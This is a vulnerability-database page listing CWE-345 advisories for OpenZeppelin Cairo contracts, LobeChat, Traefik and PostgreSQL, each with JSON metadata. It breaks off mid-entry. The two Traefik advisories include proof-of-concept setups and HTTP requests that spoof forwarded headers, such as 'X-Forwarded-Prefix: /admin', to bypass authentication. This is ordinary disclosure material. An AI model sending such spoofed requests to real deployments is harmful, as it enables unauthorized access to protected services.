CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1194 vulnerabilities reference this CWE, most recent first.
GHSA-626Q-V9J4-MCP4
Vulnerability from github – Published: 2023-02-02 16:59 – Updated: 2024-10-07 21:19Cause
is_valid_eth_signature is missing a call to finalize_keccak after calling verify_eth_signature.
Impact
As a result, any contract using is_valid_eth_signature from the account library (such as the EthAccount preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.
Risk
In order to exploit this vulnerability, it is required to control a sequencer or prover since they're the ones executing the hints, being able to inject incorrect keccak results.
Today StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.
Patches
The issue has been patched in 0.6.1.
For more information
If you have any questions or comments about this advisory: * Open an issue in the Contracts for Cairo repository * Email us at security@openzeppelin.com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "openzeppelin-cairo-contracts"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.0"
},
{
"fixed": "0.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-23940"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-02T16:59:46Z",
"nvd_published_at": "2023-02-03T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Cause\n`is_valid_eth_signature` is missing a call to `finalize_keccak` after calling `verify_eth_signature`. \n\n### Impact\nAs a result, any contract using `is_valid_eth_signature` from the account library (such as the `EthAccount` preset) is vulnerable to a malicious sequencer. Specifically, the malicious sequencer would be able to bypass signature validation to impersonate an instance of these accounts.\n\n### Risk\nIn order to exploit this vulnerability, it is required to control a sequencer or prover since they\u0027re the ones executing the hints, being able to inject incorrect keccak results.\n\nToday StarkWare is the only party running both a prover or a sequencer, greatly reducing the risk of exploit.\n\n### Patches\nThe issue has been patched in 0.6.1.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Contracts for Cairo repository](https://github.com/OpenZeppelin/cairo-contracts/issues/new/choose)\n* Email us at [security@openzeppelin.com](mailto:security@openzeppelin.com)",
"id": "GHSA-626q-v9j4-mcp4",
"modified": "2024-10-07T21:19:33Z",
"published": "2023-02-02T16:59:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/cairo-contracts/security/advisories/GHSA-626q-v9j4-mcp4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23940"
},
{
"type": "WEB",
"url": "https://github.com/OpenZeppelin/cairo-contracts/pull/542/commits/6d4cb750478fca2fd916f73297632f899aca9299"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenZeppelin/cairo-contracts"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/openzeppelin-cairo-contracts/PYSEC-2023-39.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenZeppelin Contracts contains Improper Verification of Cryptographic Signature"
}
GHSA-627W-X4JQ-G83V
Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36LobeChat (LobeHub) 2.2.1 does not properly verify inbound chat-platform webhook signatures in the QQ and Feishu adapters. The webhook route (/api/agent/webhooks/:platform) is unauthenticated by design and delegates verification to each adapter; the QQ adapter performs no Ed25519 signature verification on dispatched message events, and the Feishu adapter only performs an optional static-token comparison that is skipped when no token is configured (the default) and is not a body signature. An unauthenticated attacker who knows the public webhook URL can POST forged inbound messages with an attacker-chosen sender identity and arbitrary text, causing the bot owner's agent to process attacker-controlled input and treat the attacker as a trusted platform sender.
{
"affected": [],
"aliases": [
"CVE-2026-85621"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-04T15:17:42Z",
"severity": "MODERATE"
},
"details": "LobeChat (LobeHub) 2.2.1 does not properly verify inbound chat-platform webhook signatures in the QQ and Feishu adapters. The webhook route (/api/agent/webhooks/:platform) is unauthenticated by design and delegates verification to each adapter; the QQ adapter performs no Ed25519 signature verification on dispatched message events, and the Feishu adapter only performs an optional static-token comparison that is skipped when no token is configured (the default) and is not a body signature. An unauthenticated attacker who knows the public webhook URL can POST forged inbound messages with an attacker-chosen sender identity and arbitrary text, causing the bot owner\u0027s agent to process attacker-controlled input and treat the attacker as a trusted platform sender.",
"id": "GHSA-627w-x4jq-g83v",
"modified": "2026-09-04T15:36:13Z",
"published": "2026-09-04T15:36:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85621"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/issues/16538"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/blob/v2.2.15/packages/chat-adapter-feishu/src/adapter.ts"
},
{
"type": "WEB",
"url": "https://github.com/lobehub/lobehub/blob/v2.2.15/packages/chat-adapter-qq/src/adapter.ts"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lobechat-2.2.1-webhook-signature-verification-bypass-qq-feishu"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-62C8-MH53-4CQV
Vulnerability from github – Published: 2024-09-19 14:48 – Updated: 2024-09-25 19:29Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.9
- https://github.com/traefik/traefik/releases/tag/v3.1.3
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: Connection: close, X-Forwarded-Host Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "_" signs, making it possible for the HTTP client to even modify these headers in these cases. This is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server. ### Details It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info ### PoC The following docker-compose file has been used for a simple setup:services:
traefik:
image: traefik:v3.1
container_name: traefik
ports:
- "443:443"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./traefik.yaml:/etc/traefik/traefik.yaml
- ./traefik-certs:/certs
python-http:
build:
context: .
dockerfile: Dockerfile
container_name: python-http
labels:
- "traefik.enable=true"
- "traefik.http.routers.python-http.rule=Host(`python.example.com`)"
- "traefik.http.routers.python-http.entrypoints=websecure"
- "traefik.http.routers.python-http.tls=true"
- "traefik.http.services.python-http.loadbalancer.server.port=8080"
providers:
docker:
exposedByDefault: false
watch: true
file:
fileName: /etc/traefik/traefik.yaml
watch: true
entryPoints:
websecure:
address: ":443"
tls:
certificates:
- certFile: /certs/server-cert.pem
keyFile: /certs/server-key.pem
FROM python:3-alpine
# Copy the Python script to the container
COPY server.py /server.py
# Set the working directory
WORKDIR /
# Command to run the Python server
CMD ["python", "/server.py"]
The environment is run with `sudo docker-compose up`.
A normal HTTP request/response pair looks like this:
**Request 1**
**Response 1**
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
**Request 2**
**Response 2**
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
**Request 3**
**Response 3**
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta3"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45410"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T14:48:10Z",
"nvd_published_at": "2024-09-19T23:15:11Z",
"severity": "CRITICAL"
},
"details": "### Impact\n\nThere is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.9\n- https://github.com/traefik/traefik/releases/tag/v3.1.3\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\n\nWhen a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.\n\nFor HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\nConnection: close, X-Forwarded-Host\n\nDepending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the \"-\" to \"_\" signs, making it possible for the HTTP client to even modify these headers in these cases.\n\nThis is similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server.\n\n### Details\n\nIt was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):\n\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Forwarded-Server\n- X-Real-Ip\n- X-Forwarded-Tls-Client-Cert\n- X-Forwarded-Tls-Client-Cert-Info\n\n### PoC\n\nThe following docker-compose file has been used for a simple setup:\n\n```\nservices:\n traefik:\n image: traefik:v3.1\n container_name: traefik\n ports:\n - \"443:443\"\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock:ro\n - ./traefik.yaml:/etc/traefik/traefik.yaml\n - ./traefik-certs:/certs\n\n python-http:\n build:\n context: .\n dockerfile: Dockerfile\n container_name: python-http\n labels:\n - \"traefik.enable=true\"\n - \"traefik.http.routers.python-http.rule=Host(`python.example.com`)\"\n - \"traefik.http.routers.python-http.entrypoints=websecure\"\n - \"traefik.http.routers.python-http.tls=true\"\n - \"traefik.http.services.python-http.loadbalancer.server.port=8080\"\n```\n\nThe following traefik.yaml has been used:\n\n```\nproviders:\n docker:\n exposedByDefault: false\n watch: true\n file:\n fileName: /etc/traefik/traefik.yaml\n watch: true\n\nentryPoints:\n websecure:\n address: \":443\"\n\ntls:\n certificates:\n - certFile: /certs/server-cert.pem\n keyFile: /certs/server-key.pem\n```\n\nThe Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:\n\n```\nFROM python:3-alpine\n\n# Copy the Python script to the container\nCOPY server.py /server.py\n\n# Set the working directory\nWORKDIR /\n\n# Command to run the Python server\nCMD [\"python\", \"/server.py\"]\n```\n\nAnd here is the Python script:\n\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RequestHandler(BaseHTTPRequestHandler):\n def _send_response(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(str(self.headers).encode(\"utf-8\"))\n\n def do_GET(self):\n self._send_response()\n\nif __name__ == \"__main__\":\n server = HTTPServer((\u00270.0.0.0\u0027, 8080), RequestHandler)\n print(\"Server started on port 8080\")\n server.serve_forever()\n````\n\nThe environment is run with `sudo docker-compose up`.\n\nA normal HTTP request/response pair looks like this:\n\n**Request 1**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close\n````\n\n**Response 1**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:53:49 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 556\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Host: python.example.com\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nThe custom headers added by Traefik can be seen in the response.\n\nNext, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:\n\n**Request 2**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nConnection: close, X-Forwarded-Host\n````\n\n**Response 2**\n\n````\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\n````\n\nAs can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.\n\nMoreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:\n\n**Request 3**\n\n````\nGET / HTTP/1.1\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX_Forwarded_Host: myhost\nConnection: close, X-Forwarded-Host\n````\n\n**Response 3**\n\n````\nHTTP/1.1 200 OK\nContent-Type: text/plain\nDate: Tue, 03 Sep 2024 06:54:48 GMT\nServer: BaseHTTP/0.6 Python/3.12.5\nConnection: close\nContent-Length: 544\n\nHost: python.example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\nPriority: u=0, i\nX-Forwarded-For: 172.20.0.1\nX-Forwarded-Port: 443\nX-Forwarded-Proto: https\nX-Forwarded-Server: 3138fe4f0a2e\nX-Real-Ip: 172.20.0.1\nX_forwarded_host: myhost\n````\n\nSome backend frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. \n\nIt should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.\n\nIt should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.\n\n### Impact\n\nAll applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.\n\nIf the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and \"-\" to \"_\"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.\n\nMoreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).\n\nThe severity is the same as for [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.\n\u003c/details\u003e",
"id": "GHSA-62c8-mh53-4cqv",
"modified": "2024-09-25T19:29:53Z",
"published": "2024-09-19T14:48:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45410"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/584144100524277829f26219baaab29a53b8134f"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.9"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "HTTP client can manipulate custom HTTP headers that are added by Traefik"
}
GHSA-62Q4-HC79-94QJ
Vulnerability from github – Published: 2024-11-14 15:32 – Updated: 2025-11-04 00:32Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.
{
"affected": [],
"aliases": [
"CVE-2024-10977"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-14T13:15:04Z",
"severity": "LOW"
},
"details": "Client use of server error message in PostgreSQL allows a server not trusted under current SSL or GSS settings to furnish arbitrary non-NUL bytes to the libpq application. For example, a man-in-the-middle attacker could send a long error message that a human or screen-scraper user of psql mistakes for valid query results. This is probably not a concern for clients where the user interface unambiguously indicates the boundary between one error message and other text. Versions before PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, and 12.21 are affected.",
"id": "GHSA-62q4-hc79-94qj",
"modified": "2025-11-04T00:32:03Z",
"published": "2024-11-14T15:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10977"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00011.html"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/support/security/CVE-2024-10977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6384-M2MW-RF54
Vulnerability from github – Published: 2026-04-24 16:31 – Updated: 2026-05-06 21:24Summary
There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.
While X-Forwarded-* headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.
When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43
- https://github.com/traefik/traefik/releases/tag/v3.6.14
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ### Summary `ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes. This was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping. ### Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server. In [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest:func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {
utils.CopyHeaders(forwardReq.Header, req.Header)
...
forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {
req.Header.Add(ForwardedPrefixHeader, prefix)
[entryPoints]
[entryPoints.web]
address = ":80"
[entryPoints.web.forwardedHeaders]
trustedIPs = ["172.31.79.0/24"]
[providers]
[providers.file]
filename = "/etc/traefik/dynamic.toml"
watch = false
[log]
level = "DEBUG"
[accessLog]
[http.routers]
[http.routers.app]
entryPoints = ["web"]
rule = "Host(`app.local`) && PathPrefix(`/forbidden`)"
middlewares = ["strip-forbidden", "authz"]
service = "backend"
[http.middlewares]
[http.middlewares.strip-forbidden.stripPrefix]
prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth]
address = "http://auth:8000/check"
trustForwardHeader = false
authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services]
[http.services.backend.loadBalancer]
[[http.services.backend.loadBalancer.servers]]
url = "http://backend:80"
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if not self.path.startswith("/check"):
self.send_response(404)
self.end_headers()
return
prefixes = self.headers.get_all("X-Forwarded-Prefix") or []
first = prefixes[0] if prefixes else ""
payload = {
"path": self.path,
"first_prefix": first,
"all_prefixes": prefixes,
"x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [],
}
print(json.dumps(payload), flush=True)
if first == "/admin":
self.send_response(200)
self.send_header("X-Auth-First-Prefix", first)
self.send_header("X-Auth-All-Prefixes", "|".join(prefixes))
self.end_headers()
self.wfile.write(b"authorized\n")
return
self.send_response(403)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
server {
listen 80;
access_log /dev/stdout;
location / {
proxy_http_version 1.1;
proxy_pass http://traefik:80;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \
--network traefik-readme-net \
--network-alias backend \
traefik/whoami
docker run -d --name traefik-readme-auth \
--network traefik-readme-net \
--network-alias auth \
-v "$PWD/auth.py:/app/auth.py:ro" \
-w /app \
python:3.12-alpine \
python /app/auth.py
docker run -d --name traefik-readme-traefik \
--network traefik-readme-net \
--network-alias traefik \
-p 18081:80 \
-v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
-v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
traefik:v3.6.12
docker run -d --name traefik-readme-frontend \
--network traefik-readme-net \
-p 18080:80 \
-v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
nginx:alpine
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18081/forbidden/test
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
curl -sS -i \
-H 'Host: app.local' \
http://127.0.0.1:18080/forbidden/test
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18080/forbidden/test
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
docker logs traefik-readme-auth
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-beta1"
},
{
"fixed": "3.6.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.43"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35051"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:31:24Z",
"nvd_published_at": "2026-04-30T21:16:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high-severity authentication bypass vulnerability in Traefik\u0027s `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy.\n\nWhile `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.\n\nWhen the authentication service makes authorization decisions based on `X-Forwarded-Prefix`, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about 